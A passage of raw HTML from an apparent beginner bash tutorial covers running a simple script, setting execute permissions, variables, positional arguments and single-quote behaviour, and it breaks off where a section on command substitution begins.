style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #f3f3f3; font-size: 10pt; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Place inside your bash script, </span><span style="background-color: transparent; color: #f3f3f3; font-size: 10pt; font-style: italic; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">CTRL+X & Y</span><span style="background-color: transparent; color: #f3f3f3; font-size: 10pt; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to save the file.</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: #f3f3f3; font-size: 10pt; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">--*--*--*--</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user@ubuntu</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; color: #6fa8dc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/tmp</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$ ls -la myscript.sh</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">-rw-r--r-- 1 user user 33 Aug 8 21:47 myscript.sh</span></span></p></td></tr></tbody></table></div><p><span style="font-size: 10pt; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Let’s view its contents:</span></span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #4c1130; border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user@ubuntu</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; color: #6fa8dc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/tmp</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$ cat /tmp/myscript.sh</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">#!/bin/bash</span></span></p><span style="font-family: courier;"><br /></span><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">echo 'hello world!'</span></span></p></td></tr></tbody></table></div><p><span style="font-size: 10pt; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Next, we need to set executable permissions:</span></span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #4c1130; border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user@ubuntu</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; color: #6fa8dc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/tmp</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$ chmod +x /tmp/myscript.sh</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user@ubuntu</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; color: #6fa8dc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/tmp</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$ ls -la myscript.sh</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">-rwxr-xr-x 1 user user 33 Aug 8 21:48 </span><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">myscript.sh</span></span></p></td></tr></tbody></table></div><p><span style="font-size: 10pt; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">And finally execute it:</span></span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #4c1130; border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user@ubuntu</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; color: #6fa8dc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/tmp</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$ ./myscript.sh</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">Hello World!</span></span></p></td></tr></tbody></table></div><p><span style="font-size: 10pt; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Cool.</span></span></p><p><span style="font-family: "Roboto Mono"; font-size: 12pt; font-weight: 700; text-align: justify; white-space: pre-wrap;"><br /></span></p><p><span style="font-family: "Roboto Mono"; font-size: 12pt; font-weight: 700; text-align: justify; white-space: pre-wrap;">Variables</span></p><p><span style="font-family: Roboto Mono;"><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">In every programming language, </span><span style="background-color: #efefef; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">bash</span><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: justify; vertical-align: baseline; white-space: pre-wrap;"> is not an exclusion, we can make some dynamic programs with use of variables.</span></span></p><p><span style="font-size: 10pt; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Variables are some kind of containers, that are used to store information in computer’s memory, and allow us to access that information by some label.</span></span></p><p><span style="font-size: 10pt; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Look at the code below:</span></span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #333333; border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">var1=</span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"Hello World!"</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: #ffffaa; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">echo</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"</span><span style="background-color: #333333; color: #ade5fc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$var1</span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"</span></span></p></td></tr></tbody></table></div><p><span style="font-size: 10pt; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">This bash script will print out variable contents</span></span></p><ol style="margin-bottom: 0px; margin-top: 0px; padding-inline-start: 48px;"><li aria-level="1" dir="ltr" style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Assignment direction is from the right to the left</span></span></p></li></ol><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-left: 36pt; margin-top: 0pt; text-align: justify;"><span style="font-family: Roboto Mono;"><span style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Value: </span><span style="background-color: #efefef; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Hello World!</span><span style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is being assigned to variable name: </span><span style="background-color: #efefef; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">var1</span></span></p><ol start="2" style="margin-bottom: 0px; margin-top: 0px; padding-inline-start: 48px;"><li aria-level="1" dir="ltr" style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: Roboto Mono;"><span style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">There are no spaces between </span><span style="background-color: #efefef; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> (equal sign) and variable name and value</span></span></p></li><li aria-level="1" dir="ltr" style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: Roboto Mono;"><span style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Variable is accessible by prepending </span><span style="background-color: #efefef; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$</span><span style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> character to the variable name</span></span></p></li></ol><p><span style="font-size: 10pt; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">We can reassign a variable:</span></span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #333333; border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">var1=</span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"Hello World!"</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: #ffffaa; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">echo</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"</span><span style="background-color: #333333; color: #ade5fc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$var1</span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">var1=</span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"Other value"</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: #333333; color: #ffffaa; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">echo</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"</span><span style="background-color: #333333; color: #ade5fc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$var1</span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"</span></span></p></td></tr></tbody></table></div><p><span style="font-family: Roboto Mono;"><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">After this manipulation, </span><span style="background-color: #efefef; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">$var1</span><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: justify; vertical-align: baseline; white-space: pre-wrap;"> will hold the string: </span><span style="background-color: #efefef; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">Other Value</span><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">.</span></span></p><p><span style="font-size: 12pt; font-weight: 700; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;"><br /></span></span></p><p><span style="font-size: 12pt; font-weight: 700; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Script Arguments</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">It is possible to pass some arguments to the script:</span></span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #4c1130; border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user@ubuntu</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; color: #6fa8dc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/tmp</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$ cat /tmp/script2.sh</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">#!/bin/bash</span></span></p><span style="font-family: courier;"><br /></span><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">echo "This is argument $1"</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">echo "This is argument $2"</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">echo 'This is argument $3'</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user@ubuntu</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; color: #6fa8dc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/tmp</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$ ./myscript2.sh argument1 argument2 argument3</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">This is argument argument1</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">This is argument argument2</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">This is argument $3</span></span></p></td></tr></tbody></table></div><p><span style="font-family: Roboto Mono;"><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">You might have noticed that </span><span style="background-color: #efefef; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">argument3</span><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: justify; vertical-align: baseline; white-space: pre-wrap;"> was not printed, and we've got only </span><span style="background-color: #efefef; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">$3</span><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">. That's because we have used a </span><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">single quote</span><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: justify; vertical-align: baseline; white-space: pre-wrap;"> in an </span><span style="background-color: #efefef; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">echo</span><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: justify; vertical-align: baseline; white-space: pre-wrap;"> statement.</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: Roboto Mono;"><span style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">In bash, we use </span><span style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">single quotes</span><span style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> in cases when we want to store data literally.</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: black; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Roboto Mono;"><br /></span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: black; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Roboto Mono;"><br /></span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: black; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Assigning command output to a variable</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Roboto Mono;"><br /></span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Bash has a very cool feature of inline command execution and it's output could be used to be assigned to the variable.</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">One example explains it better than any description:</span></span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #4c1130; border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: 